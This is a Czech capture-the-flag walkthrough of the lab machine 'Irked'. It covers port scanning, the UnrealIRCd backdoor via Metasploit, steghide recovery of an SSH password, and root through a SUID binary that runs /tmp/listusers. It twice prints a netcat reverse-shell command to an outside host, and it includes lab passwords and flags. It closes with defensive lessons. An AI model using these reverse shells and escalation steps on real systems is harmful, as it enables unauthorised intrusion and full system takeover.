Irked
Úvod a kontext
Irked je krátký, ale výukově čistý Linux řetězec: veřejně známý backdoor v UnrealIRCd, potom steganografie jako mezikrok k SSH a nakonec lokální eskalace přes binárku, která důvěřuje souboru v /tmp.
Na tom stroji je důležité nepřeskočit druhou fázi. První shell z IRC backdooru je jen nestabilní vstup. Teprve lokální artefakty ukážou heslo ke stegu, z obrázku vypadne SSH heslo pro djmardov a až stabilní SSH session dává smysl pro finální root.
Počáteční průzkum
Otevřené služby a UnrealIRCd
nmap na Irked prakticky ukáže první exploit přímo. Kromě Apache a SSH běží hned několik instancí UnrealIRCd, což je u starší verze velmi silná indicie k prověření známého backdooru.
ports=$(nmap -p- --min-rate=1000 -T4 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
nmap -p $ports -n -v -A -sC -sV -Pn --script *enum*,*vuln* $IP
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4
80/tcp open http Apache httpd 2.4.10 (Debian)
6697/tcp open irc UnrealIRCd (Admin email djmardov@irked.htb)
8067/tcp open irc UnrealIRCd (Admin email djmardov@irked.htb)
65534/tcp open irc UnrealIRCd (Admin email djmardov@irked.htb)
Analýza zjištění
Backdoor v UnrealIRCd
V tomhle případě není potřeba složitá enumerace webu. Metasploit modul pro backdoored UnrealIRCd 3.2.8.1 vede rovnou k prvnímu shellu.
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor)
netcat 10.10.14.13 4000 -e /bin/sh
.backup a stego heslo
První shell je zajímavý hlavně tím, co leží v /home. Soubor .backup obsahuje text Super elite steg backup pw a heslo UPupDOWNdownLRlrBAbaSSss. To je silná nápověda, že někde v dostupných souborech bude schovaný steganografický obsah.
Na webu je obrázek irked.jpg, takže další krok je logický: stáhnout ho a použít steghide. Výsledkem je řetězec Kab6h+m+bbp2J:HG, který funguje jako SSH heslo pro djmardov.
cat .backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss
wget http://10.10.10.117/irked.jpg
steghide extract -p UPupDOWNdownLRlrBAbaSSss -sf irked.jpg
=> Kab6h+m+bbp2J:HG
Získání přístupu
SSH jako djmardov
Jakmile se objeví SSH heslo, je rozumné zahodit IRC shell a přejít na stabilní přístup přes OpenSSH. Teprve ten dává smysl pro systematickou lokální enumeraci.
ssh djmardov@$IP
cat user.txt
4a66a78b12dc0e661a59d3f5c0267a8e
Eskalace oprávnění
viewuser a důvěra v /tmp/listusers
Finální root je velmi přímočarý. Mezi SUID binárkami je /usr/bin/viewuser, která pracuje se souborem /tmp/listusers. To je návrhová chyba sama o sobě: root binárka nikdy nesmí důvěřovat cestě v globálně zapisovatelném /tmp.
Stačí tedy připravit vlastní /tmp/listusers, udělat ho spustitelný a viewuser spustit znovu. Protože binárka běží s vyššími právy, vykoná útočníkův skript a otevře root shell.
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \\; 2>/dev/null
=> /usr/bin/viewuser
=> /tmp/listusers
echo "netcat 10.10.14.13 4000 -e /bin/sh" > /tmp/listusers
chmod +x /tmp/listusers
/usr/bin/viewuser
cat root.txt
8d8e9e8be64654b6dccc3bff4522daf3
Shrnutí klíčových poznatků
- Irked začíná učebnicově přes známý backdoor v
UnrealIRCd, ale tím zdaleka nekončí. - Kritický mezikrok tvoří lokální artefakty:
.backupprozradí stego heslo a obrázek z webu zase vydá SSH heslo. - Root část je jednoduchá, ale přesně ukazuje, jak nebezpečné je, když privilegovaná binárka důvěřuje spustitelnému souboru v
/tmp.
Co si odnést do praxe
- Staré verze síťových daemonů jako
UnrealIRCdje potřeba buď rychle patchovat, nebo úplně odstavit. U známého backdooru není prostor pro „security through obscurity“. - Steganografie tady není trik pro efekt, ale připomínka, že hesla a klíče se nemají schovávat do obrázků ani jiných souborů dostupných z webu. Po nalezení nápovědy je to jen další forma plaintextu.
- Privilegované programy nesmí používat předvídatelné cesty v
/tmppro spouštění nebo načítání pomocných souborů. Pokud to udělají, vzniká z běžného lokálního zápisu okamžitá cesta k rootu.